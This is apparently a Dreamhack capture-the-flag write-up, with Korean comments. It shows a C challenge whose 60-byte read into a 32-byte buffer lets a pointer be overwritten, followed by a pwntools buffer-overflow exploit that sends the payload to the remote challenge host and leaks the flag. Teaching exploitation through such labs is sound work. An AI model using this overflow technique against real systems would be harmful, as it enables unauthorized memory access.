#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define FLAG_SIZE 0x45
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
int main(int argc, char *argv[]) {
int len; //[rbp-0x8]
char * fake_flag_addr; //[rbp-0x10]
char buf[0x20]; //[rbp-0x40]
int fd; //[rbp-0x4]
char * real_flag_addr; //[rbp-0x18]
initialize();
fd = open("./flag", O_RDONLY);
len = FLAG_SIZE;
fake_flag_addr = "DH{****************************************************************}";
printf("fake flag address: %p\n", fake_flag_addr);
printf("buf address: %p\n", buf);
real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
printf("real flag address (mmapped address): %p\n", real_flag_addr);
printf("%s", "input: ");
read(0, buf, 60); // fd빼고 다 조작 가능. 내가 값을 넣는다.
mprotect(real_flag_addr, len, PROT_NONE);
write(1, fake_flag_addr, FLAG_SIZE);
printf("\nbuf value: ");
puts(buf);
munmap(real_flag_addr, FLAG_SIZE);
close(fd);
return 0;
}
buf
와 fake_flag
의 거리는 0x30이다. buf
를 60바이트 입력받을 수 있으니, fake_flag
가 가리키는 주소를 real_flag
로 덮으면 나중에 fake_flag
를 프린트할 때 real_flag
를 출력할 수 있게 될 것이다!
exploit
from pwn import *
p = remote('host3.dreamhack.games', 24295)
p.recvuntil(b'): ')
real_flag_addr = int(p.recvline()[:-1], 16)
buf = b'A' * 0x30 + p64(real_flag_addr)
p.sendlineafter(b'input: ', buf)
p.interactive()